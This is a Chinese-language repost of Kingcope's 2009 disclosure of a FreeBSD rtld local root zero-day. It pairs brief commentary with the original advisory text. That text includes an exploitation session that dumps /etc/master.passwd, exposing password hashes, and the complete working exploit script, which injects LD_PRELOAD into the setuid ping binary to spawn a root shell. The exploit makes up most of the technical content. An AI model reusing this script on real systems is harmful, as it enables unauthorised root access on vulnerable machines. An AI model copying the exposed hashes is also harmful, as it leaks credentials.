在聖誕節即將到來的日子，以安全著稱的FreeBSD系統被著名黑客Kingcope爆了一個零日（0day）漏洞。據Kingcope所說，他長 期致力於挖掘FreeBSD系統的本地提權漏洞，終於有幸在近期發現了這個非常低級的本地提權漏洞；這個漏洞存在於FreeBSD的Run-Time Link-Editor(rtld)程序中，普通用戶可以通過該漏洞非常輕易的獲得root權限。該漏洞影響非常廣泛，包括FreeBSD 7.1至8.0的32及64位系統。
在展示該漏洞威力之前，我們科普一下著名黑客kingcope。從2007年6月至今，他一共公開了12個安全漏洞（沒公開的不知道有多少），其中 FreeBSD和Sun Solaris各兩個，微軟四個，Oracle、mysql、NcFTPD和nginx各一個，同時他還編寫了多個漏洞的攻擊代碼，例如 Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。
接下來我們在最新的FreeBSD 8.0中重現一下該漏洞的攻擊過程，請注意圖中的紅色部分；我們只要執行名為fbsd8localroot.sh的腳本，就可以輕易的獲得root權限。
From: Kingcope <kcope2 () googlemail com>
Date: Mon, 30 Nov 2009 23:12:20 +0100
** FreeBSD local r00t 0day Discovered & Exploited by Nikolaos Rangos also known as Kingcope. Nov 2009 "BiG TiME" "Go fetch your FreeBSD r00tkitz" // http://www.youtube.com/watch?v=dDnhthI27Fg There is an unbelievable simple local r00t bug in recent FreeBSD versions. I audited FreeBSD for local r00t bugs a long time *sigh*. Now it pays out. The bug resides in the Run-Time Link-Editor (rtld). Normally rtld does not allow dangerous environment variables like LD_PRELOAD to be set when executing setugid binaries like "ping" or "su". With a rather simple technique rtld can be tricked into accepting LD variables even on setugid binaries. See the attached exploit for details. Example exploiting session ********************************** %uname -a;id; FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009 root () almeida cse buffalo edu:/usr/obj/usr/src/sys/GENERIC i386 uid=1001(kcope) gid=1001(users) groups=1001(users) %./w00t.sh FreeBSD local r00t zeroday by Kingcope November 2009 env.c: In function 'main': env.c:5: warning: incompatible implicit declaration of built-in function 'malloc' env.c:9: warning: incompatible implicit declaration of built-in function 'strcpy' env.c:11: warning: incompatible implicit declaration of built-in function 'execl' /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for ALEX-ALEX # uname -a;id; FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009 root () almeida cse buffalo edu:/usr/obj/usr/src/sys/GENERIC i386 uid=1001(kcope) gid=1001(users) euid=0(root) groups=1001(users) # cat /etc/master.passwd # $FreeBSD: src/etc/master.passwd,v 1.40.22.1.2.1 2009/10/25 01:10:29 kensmith Exp $ # root:$1$AUbbHoOs$CCCsw7hsMB14KBkeS1xlz2:0:0::0:0:Charlie &:/root:/bin/csh toor:*:0:0::0:0:Bourne-again Superuser:/root: daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5::0:0:System &:/:/usr/sbin/nologin bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25::0:0:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin uucp:*:66:66::0:0:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin kcope:$1$u2wMkYLY$CCCuKax6dvYJrl2ZCYXA2:1001:1001::0:0:User &:/home/kcope:/bin/sh # Systems tested/affected ********************************** FreeBSD 8.0-RELEASE *** VULNERABLE FreeBSD 7.1-RELEASE *** VULNERABLE FreeBSD 6.3-RELEASE *** NOT VULN FreeBSD 4.9-RELEASE *** NOT VULN
*EXPLOIT*
#!/bin/sh echo ** FreeBSD local r00t zeroday echo by Kingcope echo November 2009 cat > env.c << _EOF #include <stdio.h> main() { extern char **environ; environ = (char**)malloc(8096); environ[0] = (char*)malloc(1024); environ[1] = (char*)malloc(1024); strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0"); execl("/sbin/ping", "ping", 0); } _EOF gcc env.c -o env cat > program.c << _EOF #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { extern char **environ; environ=NULL; system("echo ALEX-ALEX;/bin/sh"); } _EOF gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles cp w00t.so.1.0 /tmp/w00t.so.1.0 ./env
註: 本文轉載自網路 非原創
轉載自 Insecure.Org 素包子